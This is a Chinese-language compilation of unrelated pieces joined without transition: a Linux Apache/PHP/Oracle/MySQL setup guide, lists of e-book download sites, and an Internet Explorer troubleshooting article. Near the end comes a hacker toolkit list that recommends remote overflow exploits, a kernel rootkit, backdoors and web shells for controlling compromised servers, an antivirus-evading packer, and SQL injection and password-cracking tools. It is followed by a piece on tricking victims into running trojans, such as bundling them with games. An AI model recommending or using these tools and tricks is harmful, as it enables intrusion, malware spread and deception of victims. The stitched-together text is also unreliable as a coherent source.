作 者: 张宏
一. 准备工作
要实现将以上环境集成,必需先准备好以下软件包:
(一)数据库的Perl接口
1.perl5的Oracle数据库DBI驱动程序:DBD-Oracle-1.03.tar.gz
2.perl5的通用数据库接口程序:DBI-1.13.tar.gz
3.perl5的MySQL数据库DBI驱动程序:Msql-Mysql-modules-1.2209.tar.gz
(二)Oracle数据库
4.Oracle 8iR2(8.1.6) for Linux安装盘:oracle8161.tar.gz
(三)MySQL数据库
5.MySQL 3.22.32服务器程序包:MySQL-3.22.32-1.i386.rpm
6.MySQL客户端程序包:MySQL-client-3.22.32-1.i386.rpm
7.MySQL开发包(头文件/库文件):MySQL-devel-3.22.32-1.i386.rpm
8.MySQL共享库程序包:MySQL-shared-3.22.32-1.i386.rpm
(三)Apache服务器
9.Apache 1.3.12源码包:apache_1.3.12.tar.gz
(四)PHP模块
10.PHP 4.0.0源码包:php-4.0.0.tar.gz
(五)FastCGI模块
11.FastCGI模块源码包:mod_fastcgi_2.2.4.tar.gz
12.FastCGI的perl开发模块:FCGI-0.53.tar.gz
二. 安装Oracle客户端
由于Oracle 8.1.6是在XWindows下安装的,所以必须是事先配置好XWindow,如果你的
显卡不支持XWindow,也可以用exceed进行远程安装(这里不提远程如何安装).
安装Oracle 8.1.6 for Linux详细参见<Oracle 8.1.6安装HOWTO>
在此简单列出操作过程:
(一)设置环境变量:
在/etc/profile中加入:
export ORACLE_HOME=/opt/oracle8i/u01
export ORACLE_BASE=/opt/oracle8i
export ORACLE_OWNER=oracle
export ORACLE_SID=ORCL
export ORACLE_TERM=ansi
export PATH=$PATH:$ORACLE_HOME/bin
export LD_LIBRARY_PATH=$ORACLE_HOME/lib
export ORA_NLS33=$ORACLE_HOME/ocommon/nls/admin/data
export NLS_LANG=”SIMPLIFIED CHINESE_CHINA.ZHS16CGB231280″
(二)建立oracle组和用户
#/usr/sbin/groupadd dba
#/usr/sbin/useradd -g dba oracle
#/usr/bin/passwd oracle
(三)创建$ORACLE_HOME目录
#mkdir /opt
#mkdir /opt/oracle8i
#mkdir /opt/oracle8i/u01
#chown -R oracle.dba /opt
(四)安装reacle 8iR2
以oracle用户登录,解开Oracle安装包:
$tar zxvf oracle8161.tar.gz
$startx 启动XWindow界面,并打开一个rxvt终端窗口
$cd Oracle8iR2
$./runInstaller
此时出现Oracle安装界面,在安装时选择安装client/Application User
(如果Oracle服务器不在本机上运行,另有专用机器),安装完毕后配置SQL*Net8并
测试连接远程服务器通过即可.
三. 安装MySQL服务器和客户端
以root身分进入,安装MySQL各个包:
#rpm -ivh MySQL-3.22.32-1.i386.rpm
#rpm -ivh MySQL-client-3.22.32-1.i386.rpm
#rpm -ivh MySQL-devel-3.22.32-1.i386.rpm
#rpm -ivh MySQL-shared-3.22.32-1.i386.rpm
四. 安装Perl的数据库接口模块
以root身分进入,然后执行:
#tar zxvf DBI-1.13.tar.gz
#cd DBI-1.13
#perl Makefile.PL
#make
#make test
#make install
#cd ..
#rm -rf DBI-1.13
#
#tar zxvf DBD-Oracle-1.03.tar.gz
#cd DBD-Oracle-1.03
#perl Makefile.PL
#make
#make test
#make install
#cd ..
#rm -rf DBD-Oracle-1.03
#
#tar zxvf Msql-Mysql-modules-1.2209.tar.gz
#cd Msql-Mysql-modules-1.2209
#perl Makefile.PL
选择1(MySQL)和y(支持Mysql.pm)
#make
#make test
#make install
#
五. 安装Apache+PHP+FastCGI
(一)解开Apache/PHP/FastCGI包:
#tar zxvf apache_1.3.12.tar.gz
#tar zxvf php-4.0.0.tar.gz
#tar mod_fastcgi_2.2.4.tar.gz
(二)编译PHP4
配置apache编译参数
#cd apache_1.3.12
#./configure –prefix=/usr/local/apache
配置PHP编译参数
#cd ../php-4.0.0
#./configure –with-apache=../apache_1.3.12 \
> –with-mysql \
> –with-oracle=$ORACLE_HOME \
> –with-oci8=$ORACLE_HOME \
> –enable-track-vars
编译PHP模块:
#make
#make install
创建php.ini参数文件
#cp php.ini-dist /usr/local/lib/php.ini
#cd ..
(三)添加FastCGI模块:
#mv mod_fastcgi_2.2.4 apache_1.3.12/src/modules/fastcgi
(四)编译安装Apache
#cd apache_1.3.12
配置编译参数
#./configure –prefix=/usr/local/apache \
> –activate-module=src/modules/php4/libphp4.a \
> –activate-module=src/modules/fastcgi/libfastcgi.a
编译Apache
#make
安装Apache
#make install
(五)关闭原有系统自带的Apache
#/etc/rc.d/init.d/httpd stop
(六)配置Apache自身参数:
1.编辑/usr/local/apache/conf/httpd.conf文件,修改以下参数:
ServerName host.mydomain.name
DocumentRoot “/home/httpd/html”
<Directory “/home/httpd/html”>
Options Indexes FollowSymLinks MultiViews Includes
AllowOverride None
Order allow,deny
Allow from all
</Directory>
ScriptAlias /cgi-bin/ “/home/httpd/cgi-bin/”
<Directory “/home/httpd/cgi-bin”>
AllowOverride None
Options None
Order allow,deny
Allow from all
</Directory>
DirectoryIndex index.html index.phtml index.php index.htm index.shtml index.fcgi
2.修改自启动链接
#cd /etc/rc.d/init.d
#ln -fs /usr/local/apache/bin/apachectl httpd
(七)配置PHP4.0参数:
1.修改/usr/local/apache/conf/httpd.conf文件,修改以下参数:
增加一行:
AddType application/x-httpd-php .php .phtml .php3
2.修改/usr/local/apache/bin/apachectl脚本,使启动支持中文ORACLE环境:
在文件中66行(“start)”)下面加入几行:
export ORACLE_HOME=/opt/oracle8i/u01
export ORACLE_BASE=/opt/oracle8i
export ORACLE_SID=ORCL
export LD_LIBRARY_PATH=$ORACLE_HOME/lib
export ORA_NLS33=$ORACLE_HOME/ocommon/nls/admin/data
export NLS_LANG=”SIMPLIFIED CHINESE_CHINA.ZHS16CGB231280″
3.修改/usr/local/apache/conf/srm.conf以在CGI程序中使用环境变量:
PassEnv ORACLE_HOME
PassEnv ORACLE_BASE
PassEnv LD_LIBRARY_PATH
PassEnv NLS_LANG
PassEnv ORACLE_SID
PassEnv PATH
(八)配置FastCGI执行环境:
1.修改/usr/local/apache/conf/httpd.conf文件,修改以下参数:
增加几行:
############ FastCGI Configures Begin ##########################
AddHandler fastcgi-script .fcg .fcgi .fpl
<Location /fcgi>
SetHandler fastcgi-script
Order deny,allow
Allow from all
Options ExecCGI Indexes Includes
</Location>
############### FastCGI Configure End ###########################
2.创建fcgi的执行目录
#mkdir /home/httpd/html/fcgi
3.安装FCGI的Perl运行模块:
#tar zxvf FCGI-0.53.tar.gz
#cd FCGI-0.53
#perl Makefile.PL
#make
#make install
六.启运并测试
1.启动Apache服务器:
#/etc/rc.d/init.d/httpd start
2.编写PHP测试程序:
第一个测试程序:/home/httpd/html/t1.php
内容:
<? phpinfo() ?>
第二个测试PHP与Oracle连接的PHP程序(表已经建好):
<?
$conn=OCIlogon(“username”,”password”,”dblink”);
$stmt=ociparse($conn,”insert into testtable (name,id) values (‘中文测试’,15)”);
ociexecute($stmt);
$stmt=ociparse($conn,”select name from testtab where id=15″);
ocidefinebyname($stmt,”NAME”,&$nick);
ociexecute($stmt);
ocifetch($stmt);
echo “my name is $nick”;
?>
查看是否为中文输出
第三个测试PHP与MySQL连接的PHP程序(表已经建好):
<?
$conn=mysql_connect(“host”,”username”,”password”);
mysql_query(“insert into testtable (name,id) values (‘中文测试’,15)”);
$result=mysql_query(“select name from testtab where id=15″);
$query_data=mysql_fetch_row($result);
$nick=$query_data[0];
echo “my name is $nick”;
?>
3. 编写FastCGI的测试代码: /home/httpd/html/fcgi/test.fcgi
#!/usr/bin/perl
use FCGI;
use DBI;
$dbname=”oracle”;
$user=”user”;
$passwd=”password”;
$dbh=”";
while(FCGI::accept()>=0) {
&parse_form();
$id=$FORM{‘id’};
$para=$FORM{‘para’};
print “Content-type: text/html\n\n”;
print “<html><body>\n”;
if (!$dbh){
print “no oracle, need to connect<br>\n”;
$dbh = DBI->connect(“dbi:Oracle:$dbname”,$user,$passwd);
}else{
print “OK, oracle aleady connected<br>\n”;
}
$sth=$dbh->prepare(“select name from testtable where id=15″);
$sth->execute;
@recs=$sth->fetchrow_array;
$sth->finish;
print “参数id=”.$id.” and my name is @recs[0] <br>\n”;
print “参数para=”.$para.”<br>\n</html>”;
}
####传入参数处理部分#######
sub parse_form {
my($buffer);
my($pairs);
my(@pairs);
my($name);
my($value);
my $meth = $ENV{‘REQUEST_METHOD’};
if ($meth eq ‘GET’ || $meth eq ‘HEAD’) {
$buffer = $ENV{‘QUERY_STRING’};
}
elsif ($meth eq ‘POST’) {
read(STDIN, $buffer, $ENV{‘CONTENT_LENGTH’});
}
undef %FORM;
@pairs = split(/&/, $buffer);
foreach $pair (@pairs) {
($name, $value) = split(/=/, $pair);
$value =~ tr/+/ /;
$value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack(“C”, hex($1))/eg;
$value =~ s/<!–(.|\n)*–>//g;
if ($allow_html != 1) {
$value =~ s/<([^>]|\n)*>//g;
}
$FORM{$name} = $value;
}
}
测试看看FastCGI是否正常执行了
计算机书籍网站荟萃
我们爱技术-IT人的世界?
http://www.tech521.com/main.asp泰神电脑书屋
http://www.taishen.net/ebook/编程先锋教程
http://wlbookwl.myrice.com/jck.htm绿岛教程
http://lvdao.njau.edu.cn/jiaocheng/index.asp?
书籍推荐?
Sybex?Linux+?Study?Guide,PDF?格式,英文?
Sybex?Network+?Study?Guide,PDF?格式,英文?
ftp://202.109.129.25:18198/xitong/g…iannaoshuji.zip
网址一:小峰电脑书库?
http://www.mycnknow.com
不断更新中?
网址二:?
http://leon83.com/download/list.jsp?ct=book
网址三:维维软件园?
http://www.vvsoft.net/
有大量?Cisco资料、及其他计算机书籍,内容较丰富?
网址四:?
e书时空-电脑教程?
http://www.eshunet.com/list0/08dn.asp?page=1
网址五:?
ftp://bozoactive.dns2go.com
用户名:guest?
密码:ilovebozo?
周一~周五?
网址六:?
中华电脑书库?
http://www.pcbookcn.com
网址七:?
cAkk’s?Delphi下载天地?
http://202.96.70.228/cakk/delphi/
主要为Delphi?编程资料和相关软件,如:?
SQLServer联机丛书?34,274k? ?
C#?Refrence?273k? ? ?
Inside?Windows?2000?18,520k?
Delphi?5.X?ADO_MTS_COM+高级程序设计篇?32,185k?配书源码?只有前面4章?
Delphi5开发人员指南?85,353k?配书源码?太大了!?
delphi5企业级解决方案及应用剖析?13,278k? ? ?
delphi5编程实例与技巧?12,201k? ? ?
delphi5数据开发技术?11,191k? ? ?
Windows2000编程技术内幕?27,059k? ? ?
SQLServer2000编程员指南?37,370k? ? ?
SQLServer2000开发者指南?8,305k? ? ?
vc++技术内幕(第四版)?79,724k?潘爱民?译? ?
非程序员杂志(1-9期)?17,362k?软件工程的杂志?From?umlchina.com?
IE?Plug-Ins编程?
网址八?:?
ITeBOOK便利店下载中心?
http://www.id163.com/onlinedown/index.asp
计算机书籍类综合网站,不断更新中?
中华电脑书库?
http://www.pcbookcn.com/
超级认证:superexam.myetang.com
Oracle图书资料下载?
1.?
http://www.pcbookcn.com/content.asp…id=22&classid=3
《ORACLE8?PL/SQL程序设计》?2002-2-4?PDG超星?12000K?
《Oracle数据库系统应用实例集锦与编程技巧》?2002-2-4?PDG超星?5700K?
《轻松掌握Oracle?8数据库开发》?2002-2-4?PDG超星?10921K?
《即学即用Oracle?TM?8》?2002-2-4?PDG超星?17191K?
《Oracle?数据库系统–基础与工具》?2002-2-4?PDG超星?28130K?
《Oracle?8?使用指南》?2002-2-4?PDG超星?12683K?
《Oracle?8?实用大全》?
《Oracle?8?实用大全》?2002-2-4?PDG超星?16368K?
《Oracle8数据库Web开发指南》?2001-11-22?PDG超星?8669K?
《ORACLE?数据库系统–管理与应用》?2001-8-9?PDG超星?5392K?
《ORACLE?数据库系统应用开发》?2001-8-9?PDG超星?5770K?
《Oracle?WebServer中文手册》?2001-8-9?HTML?101K?
《Oracle?8?初学者指南》?2001-8-9?PDG超星?10000K?
《Using?Oracle8》(英文)?2001-8-9?HTML?542K?
2.?
http://leon83.com/download/list.jsp…CLE&image=false
ORACLE?9i?Web?Development?4.096?k?Thu?Sep?27?16:24:26?CST?2001?
Oracle_8&8i开发使用手册?4.096?k?Tue?Jun?05?18:51:47?CST?2001?
Oracle_8_UML对象建模设计?4.096?k?Tue?Jun?05?18:51:52?CST?2001?
Oracle_8i数据库管理员手册?4.096?k?Tue?Jun?05?18:51:36?CST?2001?
Oracle_8初学者指南?4.096?k?Tue?Jun?05?18:52:04?CST?2001?
Oracle_Developer使用指南?4.096?k?Tue?Jun?05?18:52:24?CST?2001?
新版Oracle_8故障解决手册?4.096?k?Tue?Jun?05?18:53:17?CST?2001?
3.?
http://superexam.myetang.com/ocp/index.html
Oracle8希望教材?
Troytec001?
Troytec-013?
Troytec-014?
Troytec-015?
Troytec-016?
IDG出版的Oracle8?Bible?
8iDBA?PPT?
4.?
http://soft.269.net/SoftWareList.asp?ClasstreePos=24
《ORACLE8?PL/SQL程序设计》?
《Oracle8数据库Web开发指南》?
《?数据仓库?》?
《Oracle数据库系统应用实例集锦与编程技巧》?
《新版oracle?8故障解决手册》?
《SQL21日自学通》?
《ORACLE?数据库系统应用开发》?
《ORACLE?数据库系统–管理与应用》?
《Oracle?8?数据库管理员手册》?
《网络数据库指南》?
《Oracle?WebServer?中文手册》?
5.?
http://www.oradb.net/book.htm
ORACLE?8?HOWTO?858K?HTML?ORACLE8?的?HOWTO?文档?
Oracle数据库Web开发指南?379页(8.5M)?超星?介绍?
Oracle?8?初学者指南?431页(9.9M)?超星?介绍?
Oracle数据库系统应用实例集锦与编程技巧?354页(5.7M)?超星?介绍?
ORACLE?数据库入门?113K?PPT?来源:免费ORACLE入门?作者:余枫?
Oracle?WebServer?教程?79K?HTML?介绍?
ORACLE培训教材?104K?DOC(中文)?来源:晨安网站?阿哲?著,包含ORACLE系统概述,数据库的安全性、完整性、并发控制和恢复机制,PRO*C编程介绍,PLSQL使用方法简介,本部分内容由资深ORACLE管理员编写,具有较高的参考价值?
Oracle?Application?Server?4.0?876K?PDF(中文)?介绍?
Oracle?to?SQL?Server?Migration?546K?DOC(英文)?微软出品?使用本step-by-step向导,学习怎样将Oracle数据库移植到SQL?Server?7.0?
Oracle8i?HowTo?V.66?24K?HTML(中文)?作者:江苏太仓丁聚岗?总结基于”免费/自由”的?Oracle?on?Linux的一些简单经验。?
Oracle8i?企业版功能综述?2606K?PDF(中文)?介绍?
Oracle?OLAP?3976K?PDF(中文)?Oracle的数据仓库解决方案?
Oracle?Objects?for?OLE及在VB中的应用?133K?DOC(中文)?以VB为例,介绍利用ORACLE本身所提供的OLE对象(Oracle?Objects?for?OLE)来实现快速访问有关数据库。?
Developing?Personal?Oracle7?for?Windows95?352K?HTML(英文)?Personal?Oracle7?for?Windows?95的英文说明,很详细。?
Oracle?Performance?Tuning?and?Optimization?1610K?HTML(英文)?Oracle性能调整、优化。?
Oracle??Unleashed?906K?HTML(英文)?介绍。?
ORACLE在SUN上的安装与管理手册?744K?PDF(英文)?来源:晨安网站?介绍oracle?8I在SUN机器上的安装步骤,及有关ORACLE?8i的管理,其他*作系统可参照。?
Teach?Yourself?SQL?in?21?Days?1680K?HTML(英文)?介绍。?
ORACLE?在科学数据库建设中的应用?23K?DOC(中文)?作者:陈立立、杨茜(中国科学院计算机网络信息中心)?本文以”科学家数据库”的移植及”科技资源导航数据库”的建立为例,简要介绍了在数据库主机?(VAX?7620)上,采用客户机-服务器的结构方式,用?ORACLE?7的各种工具,移植微机上的专业数据库和建立”科技资源导航数据库”的概况。?
Oracle?并行服务器介绍?1900K?PDF(中文)?来自:Oracle中国。?
Oracle?DBA?Handbook-?7.3?Edition?51K?HTML(英文)?介绍。?
Oracle?ProC?程序设计?10561K?PDF(中文)?介绍。?
DBA?howto?47K?DOC(英文)?How?to?Hire?(Or?be?Hired?as)?an?Oracle?DBA。?
Oracle8?PL/SQL程序设计中的例子脚本?162K?SQL(英文)?The?example?code?used?in?Oracle8?PL/SQL?Programming。?
Oracle?8.0.5?for?LINUX?标准版安装指引?432K?PDF(英文)?Oracle8?Installation?Guide?for?LINUX?Release?8.0.5?Standard?Edition。?
Oracle?Cramsession?1073K?PDF(英文)?包含?Oracle?8?Back-Up?and?Recovery?
Oracle?8.0?DBA?
Oracle?8?Upgrade?
Oracle?8.0?Network?Administration?
Oracle?8.0?Performance?Tuning?
Oracle?8.0?SQL-PL/SQL?
Oracle8i?Upgrade?
6.?
http://download-west.oracle.com/otn…av/docindex.htm
Oracle9i?Database?List?of?Books?(Release?9.0.1;?includes?Windows?books)?
7.?
http://flying.swpi.edu.cn/books/dnw…acle/index.html
Oracle8初学者指南?10,178?超星?
Oracle数据库WEB开发指南?8,669?超星?
Oracle数据库系统应用与开发?5,759?超星?
8.?
http://ieq.myrice.com/book/oracle.htm
Using?Oracle8(英文)?542K?HTML?
ORACLE?8?HOWTO(英文)?877K?HTML?
Oracle数据库Web开发指南?379页(8.5M)?超星?
Oracle?8?初学者指南?431页(9.9M)?超星?
Oracle数据库系统应用实例集锦与编程技巧?354页(5.7M)?超星?
Oracle数据库系统应用与开发?197页(5.6M)?超星?
Oracle?7使用与参考大全?688页(12M)?超星?
ORACLE8?PL/SQL程序设计?645页(12M)?超星?
9.?
http://easycome.myrice.com/bookstore/oracle.htm
Using?Oracle8(英文)?HTML?542K?
ORACLE?8?HOW?TO(英文)?HTML?877K?
Oracle?8?初学者指南?超星?9.9M?
Oracle?数据库Web开发指南?超星?8.5M?
Oracle?数据库系统应用与开发?超星?5.6M?
Oracle?数据库系统应用实例集锦与编程技巧?超星?5.7M?
ORACLE?8?PL/SQL程序设计?超星?12M?
Oracle?7?使用与参考大全?超星?12M?
ORACLE?轻松入门?-?-?
Developing?Personal?Oracle?7?for?Win95?DOC?350K?
10.?
http://www.kl.gz.cn/~hal/1-1-8.htm
《ORACLE轻松入门》?
《Oracle数据库系统应用与开发?》?SSREAD?
《Oracle数据库系统应用实例集锦与编程技巧》?SSREAD?
《Oracle数据库Web开发指南》?SSREAD?
《ORACLE8?PL/SQL程序设计》?SSREAD?
《Oracle?8?初学者指南?SSREAD?
《Oracle?7使用与参考大全》?SSREAD?
《SQL入门》?READ?
《Oracle7?for?Windows95?Applications》?Dynadoc?
11.?
http://whysee.myrice.com/oracle_links.html–?;Oracle的一些站点链接?
12.?
http://www.guxiang.com/epubcn/readi…cle?;数据库入门》?
http://www.guxiang.com/epubcn/readi…011.htm《Oracle?WebServer中文手册》?
13.?
http://www.ebooksou.com/search_leib…4-2&word=Oracle
Oracle?7使用与参考大全[1]?12MB?超星?
Using?Oracle8(英文)?542KB?HTML?
ORACLE?8?HOWTO(英文)?877KB?HTML?
Using?Oracle8?542K?HTM/英文 ?
ORACLE?8?HOWTO?877K?HTM/英文 ?
Oracle数据库系统应用与开发?5.6M?超星/中文 ?
Oracle数据库系统应用实例集锦与编程技巧?5.7M?超星/中文?
Oracle数据库Web开发指南?8.5M?超星/中文?
ORACLE8?PL/SQL程序设计?12M?超星/中文 ?
Oracle?8?初学者指南?9.9M?超星/中文 ?
Oracle?7使用与参考大全?12M?超星/超星?
oracle性能优化?1530K?pdf/english?
Oracle8i数据库开发技术与技巧?28617K?PDF?
14.?
http://www.eng.stu.edu.cn/ebook/typ…sp?did=0203
Oracle?8i?Training?Books(7-books)?PDF?
Oreilly:The?Oracle?PL/SQL?CD?BOOKSHELF?v1.0?HTML?
ORACLE?8I?数据库管理员手册?PDF?
ORACLE?8/8I开发使用手册?PDF?
ORACLE?8?初学者指南?PDF?
Oracle?8?UML对象建模设计?PDF?
新版ORACLE?8故障解决手册?PDF?
15.?china-pub?
匿名的
ftp://202.106.0.247?;
http://soft.269.net/SoftWareList.asp?ClasstreePos=24
《ORACLE8?PL/SQL程序设计》?
《Oracle8数据库Web开发指南》?
《?数据仓库?》?
《Oracle数据库系统应用实例集锦与编程技巧》?
《新版oracle?8故障解决手册》?
《SQL21日自学通》?
《ORACLE?数据库系统应用开发》?
《ORACLE?数据库系统–管理与应用》?
《Oracle?8?数据库管理员手册》?
《网络数据库指南》?
《Oracle?WebServer?中文手册》
虽然是很老的东东了,不过确实很有用,再贴出来当做收藏吧
当你驾着心爱的IE在Internet上纵横驰骋时,突然桌面上弹出一个莫名其妙的警告提示框,紧接着所有IE窗口全部关闭;或无论如何点击链接,IE始终没有反应……这些故障让人心烦意乱,无可奈何。不过你也不用手足无措,今天我们就一起将IE常见错误揪出来,并彻底消灭!
1.发送错误报告
【故障现象】在使用IE浏览网页的过程中,出现“Microsoft Internet Explorer遇到问题需要关闭……”的信息提示。此时,如果单击“发送错误报告”按钮,则会创建错误报告,单击“关闭”按钮之后会引起当前IE窗口关闭;如果单击“不发送”按钮,则会关闭所有IE窗口。
【故障点评】这是IE为了解用户在使用中的错误而设计的一个小程序,不过我可不想当微软的“免费测试员”,更何况每天它都会面对成千上万的报告,谁知道有没有在意我的报告问题呢?!
【故障解决】
针对不同情况,可分别用以下方法关闭IE发送错误报告功能:
①对IE 5.x用户,执行“控制面板→添加或删除程序”,在列表中选择“Internet Explorer Error Reporting”选项,然后单击“更改/删除”按钮,将其从系统中删除。
②对Windows 9x/Me/NT/2000下的IE 6.0用户,则可打开“注册表编辑器”,找到[HKEY_LOCAL_MACHINE\Software \Microsoft\Internet Explorer\Main],在右侧窗格创建名为IEWatsonEnabled的DWORD双字节值,并将其赋值为0。
③对Windows XP的IE 6.0用户,执行“控制面板→系统”,切换到“高级”选项卡,单击“错误报告”按钮,选中“禁用错误报告”选项,并选中“但在发生严重错误时通知我”,最后单击“确定”按钮。
2.IE发生内部错误,窗口被关闭
【故障现象】在使用IE浏览一些网页时,出现错误提示对话框:“该程序执行了非法操作,即将关闭……”,单击“确定”按钮后又弹出一个对话框,提示“发生内部错误……”。单击“确定”按钮后,所有打开的IE窗口都被关闭。
【故障点评】该错误产生原因多种多样,内存资源占用过多、IE安全级别设置与浏览的网站不匹配、与其他软件发生冲突、浏览网站本身含有错误代码……这些情况都有可能,需要耐心加以解决。
【故障解决】
①关闭过多的IE窗口。如果在运行需占大量内存的程序,建议IE窗口打开数不要超过5个。
②降低IE安全级别。执行“工具→Internet选项”菜单,选择“安全”选项卡,单击“默认级别”按钮,拖动滑块降低默认的安全级别。
③将IE升级到最新版本。IE 6.0下载地址:http://download.sina.com.cn/cgi-bin/detail.cgi?s_id=6041。IE 6.0 SP1下载地址:download.microsoft.com。
可使用以IE为核心的浏览器,如MyIE2。它占用系统资源相对要少,而且当浏览器发生故障关闭时,下次启动它,会有“是否打开上次发生错误时的页面”的提示,尽可能地帮你挽回损失。下载地址:http://download.sina.com.cn/cgi-bin/detail.cgi?s_id=8012。
3.出现运行错误
【故障现象】用IE浏览网页时弹出“出现运行错误,是否纠正错误”对话框,单击“否”按钮后,可以继续上网浏览。
【故障点评】可能是所浏览网站本身的问题,也可能是由于IE对某些脚本不支持。
【故障解决】
①启动IE,执行“工具→Internet选项”菜单,选择“高级”选项卡,选中“禁止脚本调试”复选框,最后单击“确定”按钮即可。
②将IE浏览器升级到最新版本。
4.IE窗口始终最小化的问题
【故障现象】每次打开的新窗口都是最小化窗口,即便单击“最大化”按钮后,下次启动IE后新窗口仍旧是最小化的。
【故障点评】IE具有“自动记忆功能”,它能保存上一次关闭窗口后的状态参数,IE本身没有提供相关设置选项,不过可以借助修改注册表来实现。
【故障解决】
①打开“注册表编辑器”,找到[HKEY_ CURRENT_USER\Software\Microsoft\Internet Explorer\Desktop\Old WorkAreas],然后选中窗口右侧的“OldWorkAreaRects”,将其删除。
②同样在“注册表编辑器”中找到[HKEY_CURRENT_USER\Software \Microsoft\Internet Explorer\Main],选择窗口右侧的“Window_Placement”,将其删除。
③退出“注册表编辑器”,重启电脑,然后打开IE,将其窗口最大化,并单击“往下还原”按钮将窗口还原,接着再次单击“最大化”按钮,最后关闭IE窗口。以后重新打开IE时,窗口就正常了!
5.IE无法打开新窗口
【故障现象】在浏览网页过程中,单击超级链接无任何反应。
【故障点评】多半是因为IE新建窗口模块被破坏所致。
【故障解决】单击“开始→运行”,依次运行“regsvr32 actxprxy.dll”和“regsvr32 shdocvw.dll”将这两个DLL文件注册,然后重启系统。如果还不行,则可以将mshtml.dll、urlmon.dll、msjava.dll、browseui.dll、oleaut32.dll、shell32.dll也注册一下。
6.脱机却无法浏览本机上的网页
【故障现象】通过IE的“脱机浏览”功能,我们差不多能浏览所有已经下载到本地硬盘的网页内容,这对拨号上网的用户来说更是省钱的一大法宝。但有时,目标网页虽然在硬盘上,但是却提示“无法浏览”。
【故障点评】这多半是由于你修改了系统时间,引起了IE历史记录的错乱。
【故障解决】
①可用直接在“临时文件夹”中搜索的方法来激活它。按下Win+F,在“包含文字”处输入部分记忆中的关键字,在“搜索”处按“浏览”按钮选择IE临时文件夹的地址,如“C:\WINDOWS\Temporary Internet Files”,单击“开始查找”,在结果列表里双击目标页打开。
②可以尝试用腾讯的TE等浏览器来脱机浏览。
7.联网状态下,浏览器无法打开某些站点
【故障现象】上网后,在浏览某些站点时遇到各种不同的连接错误。
【故障点评】这种错误一般是由于网站发生故障或者你没有浏览权限所引起。
【故障解决】针对不同的连接错误,IE会给出不同的错误信息提示,比较常见的有以下几个:
①提示信息:404 NOT FOUND这是最为常见的IE错误信息。主要是因为IE不能找到你所要求的网页文件,该文件可能根本不存在或者已经被转移到了其他地方。
②提示信息:403 FORBIDDEN常见于需要注册的网站。一般情况下,可以通过在网上即时注册来解决该问题,但有一些完全“封闭”的网站还是不能访问的。
③提示信息:500 SERVER ERROR通常由于所访问的网页程序设计错误或者数据库错误而引起,你只有等待对方网页纠正错误后再浏览了:-(。
小渔收集了一个IE错误代码大全,大家在遇到IE错误提示信息,但是搞不清楚的时候,可以去这里查阅:http://www.cfan.com.cn/09net/19ie.htm。
8.IE无法重新安装
【故障现象】IE不能正常使用,在重装时却提示“发现系统中有该版本的IE”而拒绝安装;“添加或删除程序”中又没有卸载选项。
【故障点评】“重装”是解决IE故障的“终极大法”,也是初级用户的法宝。
【故障解决】
①对IE 5.0的重装可按以下步骤进行:
第一步:打开“注册表编辑器”,找到[HKEY_LOCAL_ MACHINE\Software\Microsoft\Internet Explorer],单击其下的Version Vector键。
第二步:在右侧窗格中双击IE子键,将原来的“5.0002”改为“4.0”,单击“确定”后退出“注册表编辑器”。
第三步:重启后,就可以重装IE 5.0了。
②IE 6.0的重装有两种方法:
方法1:打开“注册表编辑器”,找到[HKEY_LOCAL_ MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\],将IsInstalled的DWORD值改为0就可以了。
方法2:放入Windows XP安装盘,在“开始→运行”窗口键入“rundll32.exe setupapi,InstallHinfSection DefaultInstall 132 %windir%\Inf\ie.inf”。
|
攻击程序 1,darewere远程溢出程序。 特征断口6129,darewere远程控制控制程序溢出工具,命令格式是: 2,Messenger远程溢出程序。 Messenger服务溢出程序,对服务器没有太大的作用,对普通客户机成功率比较高,考虑到危害的问题,此版本只能针对xp+sp1,不能攻击2000,命令格式是: 3,Retina RPC DCOM scan +RPC 图形界面溢出程序。 retina的扫描加攻击程序,现在对外网几乎不能成功,对入侵服务器或者是网关后的渗透有非常好的效果!个人发现内网有90%可以成功! 后门木马 1,内核级rootkit:hxdef100 参数有点多,单纯使用并没有太大的优点,只能实现端口复用和简单的shell,但是别忽略了他的功能!如果配合功能强大的后门,那将是非常厉害的!!(注意:hxdef100.exe是主程序,千万不能自己运行,不然清除就麻烦了!请详细看说明,不建议新手使用!) 2,wineggdropshell 功能非常强大的后门程序!配置简单方便,可自定义端口,实现常见的安全检测,相当于一个工具箱。(强烈建议配合hxdef使用!) 3,TFTPD 由lilo提供的TFTP程序,可自己修改一些配置,在入侵后shell下传输数据比较方便。 4,脚本后门 包含cmd.cgi、cmd.pl、lpmm.asp、phpshell.php,短小精干的脚本后门程序,用于SQL注入并上传程序后控制服务器和提升权限。由臭要饭的!提供。 5,iget 小骗子的iget脚本,上传到服务器然后运行,可下载预定义网页路径的程序,然后用某种方法运行,功能单一,非常适合入侵。 6,SQL综合利用工具 由“蓝色凯博”CEO发哥编写的SQL利用程序,能实现非常强大的功能,可利用数据库的存储过程实现非常多的功能,是SQL入侵中不可多得的好东东。 7,remoxec 没有3389,没有ipc$,没有连接方式,只知道对方的帐户和密码,如何连接,如何进一步入侵?使用这个工具就可以实现连接并运行的目的。(需要rpc支持!) 8,幻影 用于木马或者后门的加壳,对国内杀毒软件和安全程序能比较好的躲开,但是很多次实验后发现国外的服务器上的那些安全程序能杀。 脚本相关 1,access注入程序 用于发现SQL注入漏洞后的自动破解,程序不是很稳定,多试几次。 2,md5解码器http://www.hacker.com.cn/down/md5解码器.rar md5的暴力破解程序,使用简单方便,时间+运气=成功破解。 3,access注入程序2 全自动的access注入程序,功能不错,内有注册码。 扫描程序 这个不用多说了,流光5。 2,xscan3 也不废话了,可升级的xscan3.0。 |
这是网友们问得最多的问题,零零散散的回答也有一些了,但总是很少,于是小鱼儿决定搜集众人的智慧和在下的一点经验写一篇专题文章。希望大家多多发言,完善此篇,为所有木马爱好者做出一点自己的贡献。目的是要让所有人了解木马常用骗术从而保护个人PC安全。
1、捆绑欺骗。把木马服务端和某个游戏捆绑成一个文件在QQ或邮件发给别人。服务端运行后会看到游戏程序正常打开,却不会发觉木马程序已经悄悄运行,可以起到很好的迷惑作用。而且即使别人以后重装系统了,他还是保存你给他的这个“游戏”的话,还是有可能再次中招。
2、这是教科书式的老式欺骗,方法如下:直接将木马服务端发给对方,对方运行,结果毫无反应(运行木马后的典型表现),他说:“怎么打不开呀!”你说:“哎呀,不会程序是坏了吧?”或者说:“对不起,我发错了!”然后把正确的东西(正常游戏、相片等)发给他,他收到后欢天喜地的就不想刚才该发生的事有什么不对劲了。
